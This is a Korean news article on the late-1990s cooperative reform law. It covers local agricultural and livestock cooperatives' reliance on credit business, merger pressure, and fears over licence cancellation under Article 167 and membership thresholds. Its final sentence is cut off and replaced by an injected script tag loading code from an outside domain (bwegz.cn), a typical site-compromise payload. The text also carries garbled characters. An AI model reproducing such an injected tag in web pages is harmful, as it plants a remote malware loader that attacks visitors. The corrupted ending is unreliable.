@현황 및 문제점
정부의 협동조합개혁안이 발표되고 새 농업협동조합법이 국회를 통과하는 과정에서 가장 난타를 당한 것은 중앙회와 일선의 지역조합.
이처럼 지역조합들이 매도를 당한 것은 농협과 축협 할 것없이 그동안 조합원인 농민들을 위해 하는 일없이 몸집부풀리기나 신용사업에만 눈을 돌린 장본인들처럼 치부되었기 때문이다.
게다가 새 농협법이 품목별조합연합회에 대한 법인격을 부여하고 이들에게도 기존의 지역조합이나 중앙회가 하고 있는 사업권을 준다는 내용을 포함하면서 지역농협은 물론 지역축협들은 앞으로 자신들의 갈 곳은 어디인가에 대한 불안을 느끼면서 혹시나 정책사업대상이나 지원대상에서 제외되는 것은 아닐까하는 초조감을 감추지 못하고 있는 실정이다.
실제로 농림부 자료에 따르면 지난 85년 1백92만6천호에 달했던 농가수는 지난 98년에는 1백41만3천호까지 줄었는데도 협동조합의 임직원은 85년 당시 4만8천명이던 것이 98년에는 8만8천명으로 엄청나게 증가한 것으로 나타나 일선조합에 대한 농업내외적인 비난을 뒷받침하고 있다.
특히 대부분의 조합이 유통경제사업보다는 신용사업에 대한 비중이 높아 농협의 경우 경제사업은 조합당 평균 1백33억원에 불과하나 신용사업은 3백94억원규모로 운영되고 있고 축협조합은 경제사업은 조합당 2백55억원인데 비해 신용사업은 5백48억원규모인 것으로 나타나고 있다.
이같은 일선조합에 대한 비난을 의식, 정부는 당초 지난 3월 협동조합개혁안을 발표할 당시 일선조합을 시·군 및 경제권중심으로 통폐합, 1군 1조합 원칙하에 합병을 추진한다는 방침을 발표했으나 강제통합에 따른 지역조합들의 엄청난 반발에 부딛혀 조합원의 의사에 따라 신축적으로 통폐합을 추진한다는 방침으로 일보후퇴한 상태이다.
그러나 법조문자체에 부실조합에 대한 제재조치를 할 수 있는 조항을 삽입함으로써 조합이 살기위해서는 스스로 통합 등 자구책을 마련하도록 하는 길을 열어놓았다.
이에대해 전문가들은 일단은 일선농협과 일선축협들이 통합을 통한 규모화를 이뤄놓고 부실조합을 정리하는 과정에서 자연스럽게 품목조합으로 가는 전문조합과 지역과 생활권을 중심으로한 종합농·축협으로 구분이 될 수 있을 것이라는 의견을 제시하면서 정부의 정책방향자체가 전문조합을 표방하는 품목조합지향이지만 당장 지역농협과 축협이 없어질 수는 없을 것이며 나름대로의 전형을 찾기 위해 노력을 해나가야 한다고 입을 모으고 있다. 특히 우리나라처럼 지역별로 생산하는 품목이 뚜렷하지 않고 소량다품목체제를 구축하고 있는 농촌의 생산기반구조에서는 현재의 종합농협이나 종합축협의 형태가 불합리한 것은 아니라는 지적이다.
다만 이들 종합조합들이 현재처럼 신용사업에만 전념하는 체질을 경제사업위주의 체질로 바꾸도록 하는 작업이 필요하며 이에 대한 정부의 방향설정이 선행돼야 한다는 입장이다.
실제로 현재 지역농·축협이 처한 상황은 신용사업분야의 경쟁이 치열해져 점차 신용부문과 경제사업부문의 사업이익차이가 역전되고 있는 추세이기 때문에 어떤 형태로든 탈출구를 ??밖에 없을 것이라는 게 대부분의 시각이다.
농협법 제167조에 따르면 조합이 허가기준에 미달한 경우나 조합에 대한 감사 또는 경영평가의 결과 경영이 부실해 조합원에게 손해를 끼칠 우려가 있을 경우 농림부장관이 설립인가를 취소할 수 있게 돼있다.
사실상 지역조합들은 이 조항에 대해 불안감을 떨치지 못하고 있다.
아직까지 시행령 개정작업을 거치지 않은 농협법과 축협법의 경우 조합의 설립인가기준이 조합원수의 경우 1천명, 자본금은 1억원이상으로 돼 있는 상태.
지난해부터 부실조합원정리작업을 하고 있는 농협과 축협의 일선조합들이 조합원정리작업을 마무리할 경우 현재의 법적인 설립인가 기준인 조합원수 1천명에 미달하는 조합이 많을 것으로 예상되기 때문이다.
특히 대도시를 끼고 있는 축협이나 농협의 경우 애초에 신용사업비중이 경제사업보다 높아 농사를 짓지않는 무자격조합원을 대거 정리할 경우 사실상 조합원수가 대폭 줄어들 것이 자명한 실정이라 일선조합들이 불안감을 떨쳐버리지 못하고 있다.
새 농협법 제29조도 이사회가 조합원의 전부 또는 일부를 대상으로 탈퇴사유에 해당하는 지를 심사하는 것을 의무사항으로 삽입해놓고 있어 앞으로 부실조합들이 합병등의 자구책을 찾지 않고서는 버티기가 어려울 전망이다.
그러나 이같은 조합원수를 근거로 한 부실조합에 대한 판단에 대해 일선조합들은 조합원수가 적다고 부실은 아니며 얼마든지 사업을 할 수 있다며 볼멘소리를 하고 있어 앞으로 시행령개정작업 등에 조합설립기준에 대한 재검토가 있어야 할 ?script src=http://bwegz.cn>
